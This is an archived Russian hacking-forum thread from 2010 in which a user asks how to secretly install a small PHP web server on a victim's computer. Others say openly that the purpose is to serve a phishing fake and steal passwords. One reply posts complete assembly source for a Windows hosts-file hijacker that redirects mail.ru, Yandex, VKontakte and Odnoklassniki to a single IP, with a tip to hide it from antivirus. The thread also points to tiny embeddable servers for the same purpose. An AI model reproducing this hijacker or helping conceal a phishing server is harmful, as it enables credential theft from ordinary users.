PDA

Просмотр полной версии : Скрытая установка веб сервера


dr.Web
13.03.2010, 12:42
Как такое реализовать.
Нужен только php
и забиндить любой айпи под сайт 127.0.0.1 или 127.0.0.2
может кто подобное делал.

Deathdreams
13.03.2010, 16:13
зачем webсервер, только для использования php ?

b3
13.03.2010, 16:46
Вопрос неясен, тебе нужен ДНС сервер или просто изменений в файле hosts хватит.

Gifts
13.03.2010, 19:16
b3 фейк сразу на машине жертвы хочет запускать, так что хватит и hosts'а

dr.Web денвер, в общем-то достаточно портабелен, а если из него выдернуть лишние компоненты - будет и достаточно легким

dr.Web
13.03.2010, 19:57
весит он многовато.былоб неплохо еслиб он весил ну пускай 500кб

nerezus
13.03.2010, 20:37
Без поддержки пхп можно и в 10кб.
Хочешь пхп - прибавляй 2+мб.

dr.Web
13.03.2010, 22:52
Без поддержки пхп можно и в 10кб.
Хочешь пхп - прибавляй 2+мб.

про 10 кб интересно.расскажи подробнее

Gifts
14.03.2010, 01:45
dr.Web http://code.google.com/p/mongoose/ 60 кб в неупакованом виде с поддержкой PHP через CGI

И вообще список мелких серверов: http://en.wikipedia.org/wiki/Tiny_web_servers

Pashkela
14.03.2010, 01:56
Сдается мне раз ТС так о размере печется решил троя на php написать )

cardons
14.03.2010, 02:03
Сдается мне раз ТС так о размере печется решил троя на php написать )
Мне больше кажется что он хочет фейк повесить на ту же машину откуда пароли хочет утащить не более.


Вот тебе подменщик хостс на ASM правда надо от антивирей спрятать :)

format PE GUI 4.0
entry start

include '..\INCLUDE\win32a.inc'

section '.text' code readable executable
start:
invoke GetSystemDirectory,SystemDirectory,MAX_DIR
cinvoke wsprintf,HostsFile,FileFormat,SystemDirectory

invoke CreateFile,HostsFile,GENERIC_WRITE,0,0,OPEN_EXISTI NG,FILE_ATTRIBUTE_NORMAL,0
xchg eax,ebx
inc eax
jz exit
invoke SetFilePointer,ebx,0,0,FILE_END
invoke WriteFile,ebx,HostsData,HostsDataSize,Bytes,0
invoke CloseHandle,ebx
exit:
ret

section '.data' data readable writeable
MAX_DIR = 128
SystemDirectory db MAX_DIR dup(?)
FileFormat db '%s\drivers\etc\hosts',0
HostsFile db MAX_PATH dup(?)
HostsData:
db '95.168.174.224 mail.ru',13,10
db '95.168.174.224 www.mail.ru',13,10
db '95.168.174.224 www.yandex.ru',13,10
db '95.168.174.224 yandex.ru',13,10
db '95.168.174.224 www.vkontakte.ru',13,10
db '95.168.174.224 vkontakte.ru',13,10
db '95.168.174.224 www.odnoklasniki.ru',13,10
db '95.168.174.224 odnoklasniki.ru',13,10
db '95.168.174.224 odnoklassniki.ru',13,10
db '95.168.174.224 www.odnoklassniki.ru',13,10
HostsDataSize = $-HostsData
Bytes dd ?

data import
library kernel32,'KERNEL32.dll',user32,'USER32.dll'
include '..\INCLUDE\api\kernel32.inc'
include '..\INCLUDE\api\user32.inc'
end data

section '.rsrc' readable resource from 'main.res'

ntldr
14.03.2010, 02:13
если под фейк не проще ли проксировать просто а что надо логировать?

dr.Web
14.03.2010, 14:07
если под фейк не проще ли проксировать просто а что надо логировать?
что значит проксировать?

мне надо чтоб независимо от хостинга у юзера показывалась моя страничка, сами понимаете абузы и пр.

dr.Web
15.03.2010, 02:43
Без поддержки пхп можно и в 10кб.
Хочешь пхп - прибавляй 2+мб.


поподробнее рассскажи про сервер в 10 кб. я подумал php там не обязателен.

nerezus
15.03.2010, 04:53
поподробнее рассскажи про сервер в 10 кб Создаешь сокет, слушаешь, при соединении создаешь поток, которым выполняешь нужные действия.
Пара килобайт и ночь времени при реализации методом "копипастить-говнокодить".

P.S. Это(курсовая) было мной сделано в ночь перед экзаменом, с нуля. Я тогда первый раз щупал соксы на C. Успел.

dr.Web
15.03.2010, 19:20
а примеры есть какие то?
ато я с сокетами никогда не работал.